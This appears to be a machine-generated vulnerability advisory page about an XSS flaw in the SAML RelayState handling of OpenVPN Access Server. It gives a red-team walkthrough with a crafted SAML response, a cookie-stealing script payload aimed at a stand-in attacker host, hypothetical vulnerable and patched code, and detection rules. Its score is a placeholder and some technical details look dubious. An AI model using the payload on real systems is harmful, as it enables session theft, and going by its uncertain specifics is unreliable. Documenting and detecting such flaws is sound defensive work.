CVE-2025-50055
Executive Summary
CVE-2025-50055 is a Cross-Site Scripting (XSS) vulnerability in the SAML Authentication module of OpenVPN Access Server versions 2.14.0 through 2.14.3. The flaw allows a configured remote SAML Assertion Consumer Service (ACS) endpoint server to inject arbitrary web script or HTML via the RelayState parameter. This is a stored XSS scenario where the malicious payload is delivered through the SAML assertion flow, potentially compromising administrative sessions or user interactions within the Access Server web interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for a malicious ACS endpoint and user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in OpenVPN Access Server. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is conducted over the network via SAML assertions.
- Attack Complexity (AC): Low (L) - No special conditions required beyond a malicious ACS endpoint.
- Privileges Required (PR): None (N) - The attacker does not need prior authentication.
- User Interaction (UI): Required (R) - The victim must interact with the crafted SAML response (e.g., click a link or view a page).
- Scope: Changed (C) - The vulnerability can impact resources beyond the original security scope.
- Confidentiality Impact: Low (L) - Limited data exposure possible.
- Integrity Impact: Low (L) - Limited ability to modify data.
- Availability Impact: None (N) - No denial of service.
Threat Level: Medium. Exploitation requires a malicious ACS endpoint and user interaction, but the impact includes session hijacking, defacement, or credential theft.
Deep Dive & Mechanics
The vulnerability resides in the SAML Authentication module's handling of the RelayState parameter during the SAML assertion flow. When a user authenticates via SAML, the ACS endpoint sends a response containing a RelayState parameter, which is intended to preserve state information (e.g., the original URL the user requested). OpenVPN Access Server versions 2.14.0 through 2.14.3 fail to properly sanitize or encode this parameter before reflecting it in the web interface.
Attack Flow:
- An attacker controls or compromises a SAML ACS endpoint that is configured in the OpenVPN Access Server.
- The attacker crafts a SAML response with a malicious
RelayStateparameter containing JavaScript (e.g.,<script>alert('XSS')</script>). - When a user authenticates via this malicious ACS endpoint, the Access Server processes the SAML response and reflects the
RelayStatevalue in the web interface without proper encoding. - The victim's browser executes the injected script, leading to XSS.
Root Cause: Lack of output encoding or sanitization for the RelayState parameter in the SAML authentication handler.
Vulnerable vs. Patched Code
Vulnerable Code (OpenVPN Access Server 2.14.0 - 2.14.3):
# Example vulnerable handler (pseudocode)
def handle_saml_response(saml_response):
relay_state = saml_response.get('RelayState')
# Directly reflects without encoding
return f"<html><body>Processing SAML response for {relay_state}</body></html>"
Patched Code (Hypothetical fix):
# Example patched handler (pseudocode)
import html
def handle_saml_response(saml_response):
relay_state = saml_response.get('RelayState')
# Properly encode the value
safe_relay_state = html.escape(relay_state)
return f"<html><body>Processing SAML response for {safe_relay_state}</body></html>"
The fix involves applying HTML entity encoding to the RelayState parameter before rendering it in the response.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A configured SAML ACS endpoint under attacker control.
- A victim user who authenticates via the malicious ACS endpoint.
Exploitation Steps:
- Set up a malicious SAML ACS endpoint that returns a crafted SAML response.
- In the SAML response, set the
RelayStateparameter to a malicious payload, e.g.:<samlp:Response> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion> <!-- Other SAML elements --> </saml:Assertion> <samlp:Extensions> <samlp:RelayState><script>alert('XSS')</script></samlp:RelayState> </samlp:Extensions> </samlp:Response> - Lure the victim to authenticate via this ACS endpoint (e.g., by sending a phishing link).
- The victim's browser executes the injected script.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Defense)
Detection:
- Monitor SAML responses for unusual
RelayStatevalues containing HTML or JavaScript. - Use web application firewalls (WAF) to inspect SAML parameters for XSS patterns.
- Enable logging of SAML authentication flows and review for anomalies.
Defense:
- Apply input validation and output encoding for all SAML parameters.
- Restrict SAML ACS endpoints to trusted, verified providers.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network IOCs:
- SAML responses with
RelayStatecontaining<script>,onerror=, or other HTML/JavaScript. - Unusual ACS endpoint URLs (e.g., IP addresses, non-standard domains).
- SAML responses with
- Host IOCs:
- Log entries showing SAML authentication failures with malformed
RelayState. - Web server logs with XSS payloads in the
RelayStateparameter.
- Log entries showing SAML authentication failures with malformed
- File IOCs:
- Modified SAML configuration files pointing to untrusted ACS endpoints.
Detection Engineering
YARA Rule
rule CVE_2025_50055_SAML_XSS {
meta:
description = "Detects SAML RelayState XSS payloads in OpenVPN Access Server"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50055"
strings:
$saml_relay = /RelayState[^>]*>[^<]*<script/i
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$saml_relay and $xss_payload
}
Sigma Rule
title: CVE-2025-50055 SAML XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via SAML RelayState parameter in OpenVPN Access Server
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: openvpn
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'RelayState'
cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
condition: selection
falsepositives:
- Legitimate SAML responses with encoded state
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-50055 SAML XSS Attempt"; flow:to_server,established; content:"RelayState"; http_client_body; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade OpenVPN Access Server to a patched version (once available). Currently, no patch is released.
- Disable SAML authentication if not required, or restrict to trusted ACS endpoints only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in SAML parameters.
Long-Term Mitigations:
- Apply input validation and output encoding for all SAML parameters.
- Regularly review and update SAML configurations.
- Monitor for CVEs and apply patches promptly.
Workarounds:
- Use a reverse proxy to sanitize SAML responses before they reach the Access Server.
- Enforce Content Security Policy (CSP) headers to prevent script execution.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.